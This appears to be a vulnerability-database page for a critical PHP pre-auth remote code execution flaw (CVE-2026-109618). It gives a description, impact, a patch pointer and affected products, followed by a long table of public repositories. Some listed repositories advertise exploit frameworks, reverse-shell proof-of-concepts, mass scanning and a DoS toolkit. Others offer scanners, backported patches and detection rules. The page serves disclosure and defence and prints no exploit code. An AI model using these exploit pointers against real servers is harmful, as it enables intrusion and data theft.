CVE-2026-109618
CRITICAL
CISA KEV
EXPLOIT
POC
Pub 21/10
Upd 30/10
Overview
This vulnerability arises from improper handling of out-of-memory (OOM) conditions in PHP's memory management subsystem. Specifically, the use of longjmp() to abort execution upon OOM errors causes certain execution contexts to leave request memory uninitialized prior to allocation. The affected component is PHP's request lifecycle memory allocator and cleanup routines, which do not correctly account for abrupt context termination during OOM scenarios, leading to use-after-free and uninitialized memory access conditions.
Vulnerability Description
PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected PHP server, potentially gaining full control over the system. This includes the ability to execute malicious commands, access sensitive data, and compromise the integrity and confidentiality of hosted applications. The attack requires no user interaction or credentials, making it highly exploitable in exposed environments. Successful exploitation can result in complete system compromise and lateral movement within the network.
Solution
The vendor has released patches addressing this issue in PHP source code as detailed in the advisory GHSA-w8hw-w9fx-j79w available at https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w. Users should upgrade to the fixed PHP versions specified in the advisory. No alternative workarounds are recommended; applying the vendor-supplied patches is the only effective remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (290)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
P
|
Paloaltonetworks | Panorama Virtual Appliance | N/A |
cpe:2.3:a:paloaltonetworks:panorama_virtual_appliance:-:*:*:*:*:*:*:*
|
P
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | N/A |
cpe:2.3:o:paloaltonetworks:pan-os:-:*:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:-:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h10:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h11:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h12:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h13:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h14:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h17:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h18:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h1:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h21:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h27:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h2:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h30:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h31:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h36:*:*:*:*:*:*
|
|
P
|
Paloaltonetworks | Pan-Os | 10.2.10 |
cpe:2.3:o:paloaltonetworks:pan-os:10.2.10:h37:*:*:*:*:*:*
|
+270 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk.
Learn more
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| PHP2Shell (CVE-2026-109618) - PHP core versions after v5.4 - RCE | OffSec | remote | php | - | View |
GitHub PoCs (812)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ikow/php2shell-poc
CVE-2026-109618/109619 — 5 RCE chains + detection rules (Suricata, Sigma, ModSecurity). PHP session.upload_progress pre-...
|
ikow | 1933 | 650 | 2026-10-21 | View |
|
eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC
Proof-of-Concept (PoC) exploit for php2shell (CVE-2026-109618 / CVE-2026-109619), demonstrating remote code execution in...
|
eness | 1061 | 268 | 2026-10-21 | View |
|
assetnote/php2shell-scanner
High fidelity scanner for php2shell (CVE-2026-109618 and CVE-2026-109619)
|
assetnote | 982 | 145 | 2026-10-22 | View |
|
devploit/php2shell
CVE-2026-109618 / CVE-2026-109619 pre-auth RCE in PHP session.upload_progress (mod_php): version-aware exploit profiles,...
|
devploit | 279 | 77 | 2026-10-21 | View |
|
JoasASantos/php2shell-exploit
PHP2Shell exploit framework — CVE-2026-109618/619 PHP session.upload_progress UAF to RCE
|
JoasASantos | 194 | 56 | 2026-10-22 | View |
|
syrex1013/php2shell
CVE-2026-109618/109619 PoC — PHP session.upload_progress heap use-after-free (CVSS 9.2)
|
syrex1013 | 152 | 91 | 2026-10-21 | View |
|
junaire/CVE-2026-109618-exploit
|
junaire | 144 | 83 | 2026-10-21 | View |
|
HOSTED-POWER/php_uploadprogress_guard
Protects an unpatched PHP against php2shell (CVE-2026-109618 / CVE-2026-109619): a small extension that mirrors the offi...
|
HOSTED-POWER | 173 | 12 | 2026-10-21 | View |
|
Anton-Barinov/php2shell-patches
php2shell (CVE-2026-109618 & CVE-2026-109619) security patches for EOL PHP 5.4–8.1. Official & enhanced backports for va...
|
Anton-Barinov | 130 | 23 | 2026-10-21 | View |
|
JoasASantos/php2shell-scanner
Non-destructive scanner for CVE-2026-109618 / CVE-2026-109619 (PHP core RCE). Subdomain recon via crt.sh + subfinder, ro...
|
JoasASantos | 111 | 30 | 2026-10-21 | View |
|
murrez/php2shell
php2shell: Advanced hybrid exploit framework for CVE-2026-109618, CVE-2026-109619 & CVE-2026-115560. Features Auto-LFI p...
|
murrez | 102 | 35 | 2026-10-21 | View |
|
syhunt/php2shell-protection
Defensive mitigation and testing toolkit for PHP security vulnerabilities (CVE-2026-109618, CVE-2026-109619, CVE-2026-11...
|
syhunt | 119 | 11 | 2026-10-21 | View |
|
aancw/php2shell-scanner
Scanner for PHP2Shell (CVE-2026-109618/109619): URL blackbox, local device and SSH.
|
aancw | 101 | 15 | 2026-10-22 | View |
|
Zer061/CVE-2026-109618
PoC CVE-2026-109618 / -109619 (PHP session.upload_progress heap UAF)
|
Zer061 | 60 | 43 | 2026-10-21 | View |
|
pentestershell/php2shellbt
Python scanner for CVE-2026-109618, CVE-2026-109619 and the php2shell session chains (handler mismatch + LFI). No extern...
|
pentestershell | 79 | 19 | 2026-10-21 | View |
|
mpyw/php-eol-CVE-2026-109618-109619
PHP 7.4 / 8.0 / 8.1 Docker images with the CVE-2026-109618 / CVE-2026-109619 fix backported
|
mpyw | 74 | 21 | 2026-10-21 | View |
|
Is4yev/php2shell-poc
CVE-2026-109618/109619 PHP2Shell — Heap UAF PoC (crash + RCE framework)
|
Is4yev | 63 | 29 | 2026-10-21 | View |
|
xuehuolll/php2shell-CVE-2026-109618-109619
CVE-2026-109618/109619 — PHP session.upload_progress pre-auth RCE. Exploit research: remote ASLR chain, PoC & patch anal...
|
xuehuolll | 51 | 24 | 2026-10-21 | View |
|
vperetti/php-cve-2026-109618-109619-backports
Minimal source backports of the PHP core RCE fixes (CVE-2026-109618 / CVE-2026-109619) for EOL PHP 5.4 and 7.3
|
vperetti | 58 | 13 | 2026-10-21 | View |
|
Qsnh/php2shell-fixed
宝塔面板（BT Panel）上已停止维护的 PHP 版本（5.4 – 8.1）的 PHP2Shell（CVE-2026-109618 / CVE-2026-109619）修复包。仓库里有打好补丁的源码包，以及一键完成编译、替换、回滚的脚本。
|
Qsnh | 61 | 8 | 2026-10-22 | View |
|
enactive-systems/CVE-2026-109618-poc
|
enactive-systems | 45 | 18 | 2026-10-21 | View |
|
godylockz/CVE-2026-109618-109619
Proof of concept for CVE-2026-109618/CVE-2026-109619: PHP2Shell
|
godylockz | 41 | 18 | 2026-10-21 | View |
|
godylockz/cve-2026-109618-php2shell
Proof of concept for CVE-2026-109618/CVE-2026-109619: PHP2Shell
|
godylockz | 40 | 17 | 2026-10-21 | View |
|
david-alvarez-rosa/php-rce
Exploits for CVE-2026-109618 / CVE-2026-109619 to achieve RCE on PHP targets
|
david-alvarez-rosa | 39 | 10 | 2026-10-21 | View |
|
0x4148/CVE-2026-109618-php2shell-lab
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) Docker lab and PoC. Use-After-Free in PHP's session.upload_progress.
|
0x4148 | 29 | 18 | 2026-10-21 | View |
|
mikensec/php2shell-lab
Offline, reproducible lab to safely analyse an untrusted PoC for CVE-2026-109618/109619 and build detection rules. No ex...
|
mikensec | 32 | 12 | 2026-10-21 | View |
|
zhaoboy9692/CVE-2026-109618
PoC CVE-2026-109618 / -109619 (PHP session.upload_progress heap UAF)
|
zhaoboy9692 | 0 | 39 | 2026-10-21 | View |
|
kuwoo/php2shell-Lab
🐘 php2shell（CVE-2026-109618 / CVE-2026-109619）复现靶场 — session.upload_progress 文件名注入 + LFI → RCE，Docker 一键启动，附中文原理分析与 PoC
|
kuwoo | 32 | 6 | 2026-10-21 | View |
|
wakemeiflose/php2shell
CVE-2026-109618 / CVE-2026-109619 — PHP session.upload_progress RCE PoC & Vulnerable Lab
|
wakemeiflose | 25 | 10 | 2026-10-21 | View |
|
0xrsydn/php2shell-scan
Reachability + change detector for the php2shell PHP RCEs (CVE-2026-109618 / CVE-2026-109619). Agent-ready, stdlib only,...
|
0xrsydn | 19 | 7 | 2026-10-21 | View |
|
GlobalsecureAcademy/php2shell-scanner-CVE-2026-109618-CVE-2026-109619
php2shell Scanner
|
GlobalsecureAcademy | 22 | 2 | 2026-10-22 | View |
|
0x1c1101/CVE-2026-109618-PoC
|
0x1c1101 | 14 | 9 | 2026-10-25 | View |
|
getastra/php2shell-triage
Defensive triage for PHP2Shell (CVE-2026-109618 and CVE-2026-109619): a read-only check of every PHP SAPI, plus indicato...
|
getastra | 21 | 2 | 2026-10-22 | View |
|
l3tchupkt/php2shell
Exploit tooling and vulnerability research for CVE-2026-109618 and CVE-2026-109619 — two critical unauthenticated remote...
|
l3tchupkt | 16 | 5 | 2026-10-22 | View |
|
corelight/php2shell-detect
Zeek and Suricata Detections for "php2shell" CVE-2026-109618 and CVE-2026-109619
|
corelight | 16 | 5 | 2026-10-18 | View |
|
alvarodh5/php2shell
ASLR-bypassing RCE PoC for PHP's session.upload_progress chain (CVE-2026-109618 / CVE-2026-109619). Single file, no gdb,...
|
alvarodh5 | 12 | 7 | 2026-10-21 | View |
|
slabbdev/php2shell-cve-2026-109618-109619
Local-only PoC lab for CVE-2026-109618 / CVE-2026-109619 (php2shell) — two critical RCEs in PHP core, session.upload_pro...
|
slabbdev | 13 | 6 | 2026-10-21 | View |
|
Stonlifer/php2shell
CVE-2026-109618 / CVE-2026-109619 — unauthenticated RCE in PHP's session.upload_progress handler (CVSS 9.2). Reproducibl...
|
Stonlifer | 15 | 2 | 2026-10-21 | View |
|
Bulletdev/php2shell-poc
CVE-2026-109618/109619 --- PHP session.upload_progress pre-auth RCE (chain A/B/C)
|
Bulletdev | 12 | 5 | 2026-10-21 | View |
|
Whackermelon/Php2Shell-POC
Pre-auth remote code execution & reverse shell PoC for CVE-2026-109618 / CVE-2026-109619 - PHP core session upload-progr...
|
Whackermelon | 13 | 4 | 2026-10-21 | View |
|
exception0x876/php74-el7-patched
Unofficial PHP 7.4.33 RPMs for CentOS 7/EL7 with the PHP2Shell (CVE-2026-109618/109619) mitigation
|
exception0x876 | 16 | 0 | 2026-10-21 | View |
|
MRdark-ops/php2shell
PHP2Shell: version-aware research toolkit for CVE-2026-109618 / CVE-2026-109619 — pre-auth RCE in PHP session.upload_pro...
|
MRdark-ops | 13 | 2 | 2026-10-23 | View |
|
WoYinDao/CVE-2026-109618-CVSS-9.2-Critical
PHP CVE-2026-109618/-109619 research archive — default-128M full-chain RCE, Chain B var_destroy UAF alive on 8.4.27, off...
|
WoYinDao | 9 | 5 | 2026-10-21 | View |
|
mnk-works/php2shell-verify
Independent verification lab + PoCs: PHP session.upload_progress pre-auth RCE chains (CVE-2026-109618/109619)
|
mnk-works | 9 | 4 | 2026-10-21 | View |
|
hypnguyen1209/php2shell
CVE-2026-109618 / CVE-2026-109619 Pre-auth RCE through PHP (session.upload_progress)
|
hypnguyen1209 | 10 | 2 | 2026-10-21 | View |
|
agrresore/php2shell
PHP2Shell proof of concept for CVE-2026-109618 and CVE-2026-109619, with Docker labs and build-specific profiles for sec...
|
agrresore | 7 | 4 | 2026-10-23 | View |
|
pax-k/Php2Shell-POC
Pre-auth remote code execution & reverse shell PoC for CVE-2026-109618 / CVE-2026-109619 - PHP core session upload-progr...
|
pax-k | 3 | 8 | 2026-10-21 | View |
|
mirrored-projects/PHP74-Windows-CVE2026
PHP 7.4 for Windows with CVE-2026-109618 / CVE-2026-109619 Backport
|
mirrored-projects | 8 | 3 | 2026-10-21 | View |
|
PasqualePillitteri/php2shell-hardening
Mitigations for PHP installs that cannot update yet: CVE-2026-109618 / CVE-2026-109619 (php2shell) and CVE-2026-115560. ...
|
PasqualePillitteri | 9 | 2 | 2026-10-21 | View |
|
semihyesilyurt/CVE-2026-109618-PoC
|
semihyesilyurt | 0 | 10 | 2026-10-25 | View |
|
cumakurt/php2shell-scan
A deliberately limited, read-only security scanner for assessing exposure to CVE-2026-109618 (RFC 1867 multipart OOM mem...
|
cumakurt | 9 | 1 | 2026-10-25 | View |
|
ZeroHackOrg/php2shell-poc
ZeroHack: CVE-2026-109618 / CVE-2026-109619 Lab & PoC Framework
|
ZeroHackOrg | 7 | 3 | 2026-10-22 | View |
|
Bhavye-Malhotra/php2shell-2026
PHP2Shell (CVE-2026-109618 and CVE-2026-109619)
|
Bhavye-Malhotra | 9 | 1 | 2026-10-21 | View |
|
ersinkoc/php-fix
One-line mitigation for php2shell (CVE-2026-109618 / CVE-2026-109619): disables session.upload_progress across all PHP i...
|
ersinkoc | 7 | 3 | 2026-10-21 | View |
|
Nayrae/CVE-2026-109618
A working PoC of the PHP2Shell exploit
|
Nayrae | 8 | 2 | 2026-10-21 | View |
|
shellharbor/php-8.1-cve-2026-docker
PHP 8.1.34 CLI/FPM Docker image with pinned backports for CVE-2026-109618 and CVE-2026-109619, plus updated native libra...
|
shellharbor | 9 | 0 | 2026-10-31 | View |
|
gorgeoushos/CVE-2026-109618-research
Unauthenticated RCE in PHP via session.upload_progress use-after-free (CVE-2026-109618 / CVE-2026-109619)
|
gorgeoushos | 9 | 0 | 2026-10-26 | View |
|
ggsec-de/php2shell-analysis
Analysis and negative control for CVE-2026-109618/109619: which PHP builds still arm, why 8.4.27 does not, and why the c...
|
ggsec-de | 9 | 0 | 2026-10-26 | View |
|
softjapan/php74-cve-patched
Drop-in php:7.4-apache/fpm/cli Docker images with the official fix for CVE-2026-109618 / CVE-2026-109619 (critical PHP R...
|
softjapan | 7 | 2 | 2026-10-23 | View |
|
bahartanir/php2shell
Pre-auth RCE chain for CVE-2026-109618 / CVE-2026-109619 — PHP session.upload_progress exploitation (PHP 5.4.0–8.5.x)
|
bahartanir | 8 | 1 | 2026-10-22 | View |
|
ericmann/php2shell-ioc
Read-only IOC triage for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). POSIX sh for WordPress, Nextcloud, Laravel, Drup...
|
ericmann | 9 | 0 | 2026-10-22 | View |
|
CyberRoute/php2shell-scanner
scanner for CVE-2026-109618 / CVE-2026-109619
|
CyberRoute | 6 | 3 | 2026-10-21 | View |
|
Blue-B/php2shell-guard
Check, block and hunt for php2shell (CVE-2026-109618 / CVE-2026-109619): PHP version scan with distro backport check, te...
|
Blue-B | 9 | 0 | 2026-10-21 | View |
|
tani2shell/php2shell-lab
Black-box pentest lab for the PHP2Shell engine memory-corruption family (CVE-2026-109618 / CVE-2026-109619, CVSS 9.8/9.2...
|
tani2shell | 7 | 1 | 2026-10-23 | View |
|
zr0n/php2shell
exploit php2shell (CVE-2026-109618 / CVE-2026-109619) for educational purposes
|
zr0n | 8 | 0 | 2026-10-24 | View |
|
umair-aziz025/PHP2Shell
Critical Vulnerabilities in PHP Core (CVE-2026-109618/CVE-2026-109619) Recon → Passive Fingerprinting → Behavioral Probi...
|
umair-aziz025 | 5 | 3 | 2026-10-23 | View |
|
yetDevs/php2shell-triage
PHP estate triage for CVE-2026-109618 / CVE-2026-109619: inventory, Plesk audit, child-process detection. No exploit cod...
|
yetDevs | 4 | 4 | 2026-10-21 | View |
|
mefulton/CVE-2026-109618-analysis
Non-operational analysis and defensive guidance for CVE-2026-109618 and CVE-2026-109619
|
mefulton | 6 | 2 | 2026-10-21 | View |
|
bagusindrayana/php-vuln-scan
scan and fix php version affected by CVE-2026-109618 and CVE-2026-109619
|
bagusindrayana | 6 | 2 | 2026-10-21 | View |
|
zhaoboy9692/CVE-2026-109618_
|
zhaoboy9692 | 0 | 8 | 2026-10-21 | View |
|
CompleteTech-Security/php2shell-check
Passive PHP2Shell (CVE-2026-109618, CVE-2026-109619) exposure checker with branded HTML reports. Single-file Python, no ...
|
CompleteTech-Security | 4 | 3 | 2026-10-21 | View |
|
Ademking/php2shell-migration
Agent Skills skill to detect, patch and verify PHP apps affected by PHP2Shell (CVE-2026-109618, CVE-2026-109619) or outd...
|
Ademking | 7 | 0 | 2026-10-25 | View |
|
VABISMO/php2shell-nginx-fpm-full-rce
Complete auto exploit for NGINX PHP-FPM CVE-2026-109618 / CVE-2026-109619
|
VABISMO | 6 | 1 | 2026-10-22 | View |
|
brentmartinmiller/php2shell-check
Read-only triage script for WordPress sites after PHP2Shell (CVE-2026-109618, CVE-2026-109619). Checks for signs of comp...
|
brentmartinmiller | 6 | 1 | 2026-10-22 | View |
|
meuhland/php-legacy-windows-builds
Patches and Windows build scripts for PHP 5.6-7.4 fixing CVE-2026-109618 / CVE-2026-109619
|
meuhland | 4 | 3 | 2026-10-22 | View |
|
Sol0-dev/php2shell
PHP2Shell - CVE-2026-109618/109619 session.upload_progress UAF PoC - multi-target RCE chain - created by 0verDo$ed
|
Sol0-dev | 6 | 1 | 2026-10-22 | View |
|
adityaaravind/php2shell-check
Scan local PHP, Docker images, running containers, URLs and inventories for PHP2Shell exposure (CVE-2026-109618 / CVE-20...
|
adityaaravind | 7 | 0 | 2026-10-22 | View |
|
break-the-build/php-multipart-waf-signals
Observation-only WAF/IDS signals for selected PHP multipart request shapes relevant to CVE-2026-109618/109619; not explo...
|
break-the-build | 5 | 2 | 2026-10-21 | View |
|
kamalmjt/PHP2SHELL-Patch
Remediation scripts for PHP2Shell vulnerabilities CVE-2026-109618 and CVE-2026-109619, targeting HestiaCP and Plesk envi...
|
kamalmjt | 7 | 0 | 2026-10-21 | View |
|
CompleTech-Security/php2shell-check
Passive PHP2Shell (CVE-2026-109618, CVE-2026-109619) exposure checker with branded HTML reports. Single-file Python, no ...
|
CompleTech-Security | 4 | 2 | 2026-10-21 | View |
|
CompleTetech-Security/php2shell-check
Passive PHP2Shell (CVE-2026-109618, CVE-2026-109619) exposure checker with branded HTML reports. Single-file Python, no ...
|
CompleTetech-Security | 4 | 2 | 2026-10-21 | View |
|
mym0us3r/PHP2Shell-Detection-with-Wazuh
Wazuh detection content for PHP2Shell (CVE-2026-109618 and CVE-2026-109619): 6 rules, 3 decoders, Apache LogFormat and a...
|
mym0us3r | 6 | 0 | 2026-10-22 | View |
|
Continuum-AI-Corp/orcacyber-php2shell-research
PHP2Shell (CVE-2026-109618/109619) security research and PoC validation using OrcaCyber Zero & Ultra. Includes technical...
|
Continuum-AI-Corp | 6 | 0 | 2026-10-23 | View |
|
covertswarmlabs/PHP2Shell-Check
Non-invasive vulnerability assessment for CVE-2026-109618 and CVE-2026-109619.
|
covertswarmlabs | 5 | 1 | 2026-10-22 | View |
|
EngOREOO/php2shell-CVE-2026-109618-CVE-2026-109619-PoC
Working local PoC for the php2shell PHP RCE pair (CVE-2026-109618, CVE-2026-109619): unauthenticated remote code executi...
|
EngOREOO | 4 | 2 | 2026-10-21 | View |
|
waksboy/fixed-fpm-cve-2026-109618-and-109619-images
Patches, Docker images and proofs for CVE-2026-109618 / CVE-2026-109619 on PHP 5.0 to 8.1 without an official release
|
waksboy | 6 | 0 | 2026-10-21 | View |
|
deconstruction/EOLphp-php2shell-patches
Unofficial mitigation patches for CVE-2026-109618/109619 on EOL PHP 5.x
|
deconstruction | 4 | 2 | 2026-10-21 | View |
|
Amsozzer1/php2shell-repo-audit
php2shell (CVE-2026-109618, CVE-2026-109619) repo audit, CLI and GitHub Action, no server access. Lists the PHP versions...
|
Amsozzer1 | 6 | 0 | 2026-10-21 | View |
|
seppegadeyne/php2shell-runcloud-builds
Unofficial patched PHP 5.6-8.1 builds for RunCloud on Ubuntu 16.04-24.04 (PHP2Shell, CVE-2026-109618/109619), with scrip...
|
seppegadeyne | 3 | 2 | 2026-10-24 | View |
|
completetech-security/php2shell-check
Passive PHP2Shell (CVE-2026-109618, CVE-2026-109619) exposure checker with branded HTML reports. Single-file Python, no ...
|
completetech-security | 3 | 2 | 2026-10-21 | View |
|
ginoa79/php56-php2shell-backport
Unofficial backport of the PHP2Shell fixes (CVE-2026-109618, CVE-2026-109619) to PHP 5.6.40 - experimental
|
ginoa79 | 5 | 0 | 2026-10-21 | View |
|
MakFly/php2shell-check
Check and apply the php2shell fix (CVE-2026-109618, CVE-2026-109619) on hosts, SSH servers and Docker images
|
MakFly | 5 | 0 | 2026-10-21 | View |
|
cseelhoff-ms/php2shell-hunting-pack
Hunting pack for PHP2Shell (CVE-2026-109618/109619): find vulnerable PHP assets and hunt for exploitation with Microsoft...
|
cseelhoff-ms | 4 | 1 | 2026-10-21 | View |
|
TREXNEGRO/php2shell
CVE-2026-109618/109619: PHP session.upload_progress Heap UAF — Detection & 8-chain RCE exploitation framework
|
TREXNEGRO | 3 | 2 | 2026-10-21 | View |
|
yashasrnair/php2shell
Exploit tooling and vulnerability research for CVE-2026-109618 and CVE-2026-109619 — two critical unauthenticated remote...
|
yashasrnair | 0 | 4 | 2026-10-22 | View |
|
akaihigurashi/php2scan
Check whether a website is affected by PHP2Shell (CVE-2026-109618 / CVE-2026-109619)
|
akaihigurashi | 3 | 1 | 2026-10-26 | View |
|
eagleofanadolu/php2shell-poc
PHP2Shell — CVE-2026-109618/109619 exploit toolkit: 6 RCE chains, memory disclosure, scanner, detection rules, WAF mitig...
|
eagleofanadolu | 3 | 1 | 2026-10-22 | View |
|
andreysheva/php2shell-doctor
The safe checker for the php2shell PHP RCEs (CVE-2026-109618/109619). Local, offline, vendor-backport aware.
|
andreysheva | 4 | 0 | 2026-10-25 | View |
|
akamor2800/php-5.4-cve-2026-php2shell-patch
Production-ready backported .patch for EOL PHP 5.4,.23 custom 5.x to fix the critical PHP2Shell (OOM) vulnerability (CV...
|
akamor2800 | 4 | 0 | 2026-10-24 | View |
|
Noshadi-sec/cve-2026-109618-109619-poc
PoC exploit harness and research framework for CVE-2026-109618 and CVE-2026-109619 (PHP session.upload_progress UAF).
|
Noshadi-sec | 4 | 0 | 2026-10-23 | View |
|
alvm/php2shell-eol-backport
Unofficial fix for CVE-2026-109618 / CVE-2026-109619 (php2shell) for the end-of-life PHP 5.4 / 5.3 packages of RHEL, Cen...
|
alvm | 3 | 1 | 2026-10-22 | View |
|
Alex-Goaga/synology-dsm6-php74-php2shell
Unofficial patched PHP 7.4.33 for Synology DSM 6.2 x86_64 (replaces PHP7.4 7.4.30-0009). Fixes PHP2Shell (CVE-2026-10961...
|
Alex-Goaga | 3 | 1 | 2026-10-22 | View |
|
memuratozturk/php2shell-poc
PHP2Shell — CVE-2026-109618/109619 exploit toolkit: 6 RCE chains, memory disclosure, scanner, detection rules, WAF mitig...
|
memuratozturk | 3 | 1 | 2026-10-22 | View |
|
Swordsec/php2shell-guard
Scanner, interim mitigation and hunting tool for php2shell (CVE-2026-109618 / CVE-2026-109619). No exploit code.
|
Swordsec | 3 | 1 | 2026-10-22 | View |
|
zhqagp/php-7.2
PHP 7.2 with security fixes for CVE-2026-109618 and CVE-2026-109619
|
zhqagp | 4 | 0 | 2026-10-22 | View |
|
viniciusbossle/php74-el7-php2shell
Unofficial rebuild of PHP 7.4 for EL7 (CentOS/RHEL 7) with the php2shell fix (CVE-2026-109618/109619). A stopgap for EOL...
|
viniciusbossle | 4 | 0 | 2026-10-22 | View |
|
gkwelding/php2shell-ioc-check
Read-only compromise check for PHP CVE-2026-109618 / CVE-2026-109619 (php2shell) on Ubuntu 24.04 and Amazon Linux 2023
|
gkwelding | 3 | 1 | 2026-10-21 | View |
|
EXT-IT/php2shell-check
Read-only check whether a server is still exposed to php2shell (CVE-2026-109618, CVE-2026-109619): judges Debian/Ubuntu ...
|
EXT-IT | 3 | 1 | 2026-10-21 | View |
|
izdir/php-security-patcher
Script para parchear PHP y verificar versión antes/después — nacido del incidente CVE-2026-109618/109619
|
izdir | 4 | 0 | 2026-10-21 | View |
|
cozybear-dev/cve-2026-109618
|
cozybear-dev | 1 | 3 | 2026-10-21 | View |
|
HackSpeak/CVE-2026-109618
PHP session.upload_progress attack-surface PoC/verification toolkit (php2shell claims, CVE-2026-109618/109619); for auth...
|
HackSpeak | 3 | 1 | 2026-10-21 | View |
|
cereZ23/php-up-2026
PHP session.upload_progress UAF validation bundle (presumed CVE-2026-109618 / CVE-2026-109619) — authorized defensive-re...
|
cereZ23 | 2 | 2 | 2026-10-21 | View |
|
mahumadad/php2shell-analysis
Working RCE exploit, IDS/WAF detection rules (Suricata, ModSecurity, Sigma, Cloudflare), Docker lab, and full analysis f...
|
mahumadad | 2 | 2 | 2026-10-21 | View |
|
Felix3322/PHP-uniDoS
PHP CVE-2026-109618/CVE-2026-109619 universal DoS attack toolkit
|
Felix3322 | 3 | 1 | 2026-10-21 | View |
|
gputier/php-rfc1867-guard
PHP extension that makes the php2shell session upload-progress handler (CVE-2026-109618 / CVE-2026-109619) unreachable, ...
|
gputier | 4 | 0 | 2026-10-21 | View |
|
GarciaG1/charla-php2shell
PHP2Shell (CVE-2026-109618/109619): demos reproducibles y guia de parcheo paso a paso.
|
GarciaG1 | 3 | 0 | 2026-10-29 | View |
|
murat-levi/php2shell-poc
PHP2Shell — CVE-2026-109618/109619 exploit toolkit: 5 chains + JA3 stealth + mass scan + safe webshell. Authorized testi...
|
murat-levi | 3 | 0 | 2026-10-27 | View |
|
kjry8sb/php2shell-wordpress-rce-fullchain
Pre-auth RCE against WordPress (7.1.2/7.1.3) via PHP2Shell CVE-2026-109618 / CVE-2026-109619
|
kjry8sb | 2 | 1 | 2026-10-26 | View |
|
D1se0/php2shell_lab
🧪 Laboratorio Docker aislado para reproducir y estudiar PHP2Shell (CVE-2026-109618 / CVE-2026-109619), RCE no autenticad...
|
D1se0 | 3 | 0 | 2026-10-23 | View |
|
Taz1920/PHP-Canarywall
Reverse proxy that blocks PHP parser exploits (CVE-2026-109618/109619) by replaying requests through an 11-version cana...
|
Taz1920 | 3 | 0 | 2026-10-23 | View |
|
KtebhTeam/php2shell
Hybrid PHP2Shell Security Toolkit (CVE-2026-109618 & 109619). Features an automated vulnerability scanner, session-state...
|
KtebhTeam | 3 | 0 | 2026-10-23 | View |
|
ihsansencan/Php2Shell-Lab
Educational Docker lab for CVE-2026-109618 / CVE-2026-109619 — pre-auth RCE in PHP 8.4.x
|
ihsansencan | 2 | 1 | 2026-10-23 | View |
|
Ethen1212/php2shell-CVE-2026-109618
|
Ethen1212 | 3 | 0 | 2026-10-23 | View |
|
Andrew2142/php73-backport
PHP 7.3.33-35 (php2shell fix, CVE-2026-109618/109619) rebuilt for Ubuntu 18.04, 20.04 and Debian 10
|
Andrew2142 | 3 | 0 | 2026-10-23 | View |
|
taniungou/php2shell-lab
Black-box pentest lab for the PHP2Shell engine memory-corruption family (CVE-2026-109618 / CVE-2026-109619, CVSS 9.8/9.2...
|
taniungou | 3 | 0 | 2026-10-23 | View |
|
Taz1920/php-sentinel
Reverse proxy that blocks PHP parser exploits (CVE-2026-109618/109619) by replaying requests through an 11-version cana...
|
Taz1920 | 3 | 0 | 2026-10-23 | View |
|
